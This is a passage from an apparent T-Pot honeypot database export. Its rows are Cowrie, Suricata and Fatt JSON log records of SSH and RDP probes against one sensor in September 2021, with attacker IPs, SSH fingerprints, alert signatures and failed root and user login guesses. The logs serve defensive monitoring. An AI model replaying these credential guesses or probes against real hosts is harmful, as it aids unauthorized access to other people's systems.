"t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25725	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:10:15.430076+03	2021-09-20 14:15:11.59047+03	{"_id": "xgbmAnwBvYTbRNuEPBoi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "f18dc18fcba8", "@version": "1", "timestamp": "2021-09-20T11:10:15.430076Z", "@timestamp": "2021-09-20T11:10:15.430Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25726	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:10:15.225864+03	2021-09-20 14:15:11.59347+03	{"_id": "ywbmAnwBvYTbRNuEPBoi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qazZAQ!] failed", "session": "e7e7f4b4ef29", "@version": "1", "password": "1qazZAQ!", "username": "root", "timestamp": "2021-09-20T11:10:15.225864Z", "@timestamp": "2021-09-20T11:10:15.225Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25727	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:10:15.370191+03	2021-09-20 14:15:11.609489+03	{"_id": "zAbmAnwBvYTbRNuEPBoi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "f18dc18fcba8", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:10:15.370191Z", "@timestamp": "2021-09-20T11:10:15.370Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25728	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:10:15.429766+03	2021-09-20 14:15:11.62547+03	{"_id": "zQbmAnwBvYTbRNuEPhpk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 958440945465412, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57052, "dest_port": 22, "timestamp": "2021-09-20T11:10:15.429766Z", "@timestamp": "2021-09-20T11:10:15.429Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25729	5.188.62.196	109.199.241.180	Fatt	2021-09-20 14:10:15.429812+03	2021-09-20 14:15:11.64047+03	{"_id": "zwbmAnwBvYTbRNuEPxp2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 57052, "dest_port": 22, "timestamp": "2021-09-20T11:10:15.429812", "@timestamp": "2021-09-20T11:10:15.429Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25730	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:10:15.635381+03	2021-09-20 14:15:11.67747+03	{"_id": "0QbmAnwBvYTbRNuEQBoH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "f18dc18fcba8", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:10:15.635381Z", "@timestamp": "2021-09-20T11:10:15.635Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25731	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:10:16.701333+03	2021-09-20 14:15:11.681471+03	{"_id": "1QbmAnwBvYTbRNuEQxrw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "f18dc18fcba8", "@version": "1", "duration": 1.331186056137085, "timestamp": "2021-09-20T11:10:16.701333Z", "@timestamp": "2021-09-20T11:10:16.701Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25732	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:22.614286+03	2021-09-20 14:15:11.69747+03	{"_id": "3wbmAnwBvYTbRNuEWxpj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:57706 (192.168.176.2:22) [session: c38eb2ce3a58]", "session": "c38eb2ce3a58", "@version": "1", "protocol": "ssh", "src_port": 57706, "dest_port": 22, "timestamp": "2021-09-20T11:10:22.614286Z", "@timestamp": "2021-09-20T11:10:22.614Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25733	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:24.313297+03	2021-09-20 14:15:11.712479+03	{"_id": "7QbmAnwBvYTbRNuEXxpM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c38eb2ce3a58", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:24.313297Z", "@timestamp": "2021-09-20T11:10:24.313Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25734	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:10:24.377118+03	2021-09-20 14:15:11.728644+03	{"_id": "9QbmAnwBvYTbRNuEYRqR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:10:24.033221+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 586443091116485, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 51093, "dest_port": 3389, "timestamp": "2021-09-20T11:10:24.377118Z", "@timestamp": "2021-09-20T11:10:24.377Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
25735	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:10:24.377118+03	2021-09-20 14:15:11.744644+03	{"_id": "9wbmAnwBvYTbRNuEYRqS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:10:24.033221+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 586443091116485, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 51093, "dest_port": 3389, "timestamp": "2021-09-20T11:10:24.377118Z", "@timestamp": "2021-09-20T11:10:24.377Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
25736	81.70.175.230	109.199.241.180	Suricata	2021-09-20 14:10:24.446646+03	2021-09-20 14:15:11.748647+03	{"_id": "-AbmAnwBvYTbRNuEYRqS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:10:23.943110+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1871460798784518, "payload": "AAADzAYU0eR8e2d5oKxYYWmNctFQVQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60576, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:10:24.446646Z", "@timestamp": "2021-09-20T11:10:24.446Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........|{gy..Xai.r.PU...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
25737	81.70.175.230	109.199.241.180	Fatt	2021-09-20 14:10:24.446646+03	2021-09-20 14:15:11.779647+03	{"_id": "_QbmAnwBvYTbRNuEYhqj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 60576, "dest_port": 22, "timestamp": "2021-09-20T11:10:24.446646", "@timestamp": "2021-09-20T11:10:24.446Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25738	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:10:24.399449+03	2021-09-20 14:15:11.795655+03	{"_id": "-gbmAnwBvYTbRNuEYhqi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": 